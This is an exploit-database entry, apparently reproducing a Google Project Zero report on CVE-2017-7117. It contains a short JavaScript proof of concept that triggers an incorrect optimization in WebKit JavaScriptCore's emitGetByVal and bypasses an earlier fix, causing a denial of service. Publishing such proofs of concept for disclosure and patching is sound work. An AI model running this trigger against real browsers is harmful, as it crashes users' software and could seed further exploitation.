WebKit JSC - 'BytecodeGenerator::emitGetByVal' Incorrect Optimization (2)
Author: Google Security Research
type: dos
platform: multiple
port:
date_added: 2017-10-04
date_updated: 2017-10-04
verified: 1
codes: CVE-2017-7117
tags:
aliases:
screenshot_url:
application_url:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1319
The following PoC bypasses the fix for the issue 1263 (https://bugs.chromium.org/p/project-zero/issues/detail?id=1263)
PoC:
-->
function f() {
let o = {};
for (let i in {xx: 0}) {
for (i of [0]) {
}
print(o[i]);
}
}
f();